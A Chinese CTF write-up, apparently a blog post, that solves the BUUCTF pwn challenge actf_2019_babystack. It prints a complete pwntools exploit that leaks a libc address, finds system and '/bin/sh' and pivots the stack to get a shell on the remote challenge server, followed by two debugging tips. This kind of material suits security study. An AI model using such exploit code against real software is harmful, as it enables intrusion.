[BUUCTF]-PWN:actf_2019_babystack解析

先看保护

再看ida

原本我以为会是整数溢出,但是实际上不是。这道题考到了栈迁移,并且还给了我们栈的地址,并且正好是栈顶

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./babystack')
p=remote('node5.buuoj.cn',29218)
leave_ret=0x400a18
ret=0x400709
bss=0x6010A0
puts_plt=0x400730
puts_got=0x601020
main=0x4008F6
pop_rdi=0x400ad3
mov_rdx=0x400AB0
pop_rbx_rbp_r12_r13_r14=0x400AC6
ret=0x400709
read_got=0x601048

p.sendlineafter(b'message?',b'224')
p.recvuntil(b'at ')
rsp=int(p.recv(14),16)
print(rsp)
rbp=rsp+0xd0
payload=b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0xd0,b'a')
payload+=p64(rsp)+p64(leave_ret)
p.sendafter(b'your message?',payload)

puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump("str_bin_sh")

p.sendlineafter(b'message?',b'224')
p.recvuntil(b'at ')
rsp=int(p.recv(14),16)
print(hex(rsp))
rbp=rsp+0xd0
payload=b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
payload=payload.ljust(0xd0,b'a')
payload+=p64(rsp)+p64(leave_ret)
p.sendafter(b'your message?',payload)
p.interactive()

这道题没考什么比较特别的点,但是细节非常要注意。

注意点1:原本我是将rbp覆盖为rsp-8的,但是实际上这样子会报错,直接导致接收错误。所以只能换种形式,用rsp地址覆盖rbp再进行相应调整了。

注意点2:发送payload要用send而不是sendline,因为我们输入的字节大小已经到0xe0了,再加上回车会超字数,在这道题中会导致程序出错。但第二个payload用sendline依旧可以成功

  • 17
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值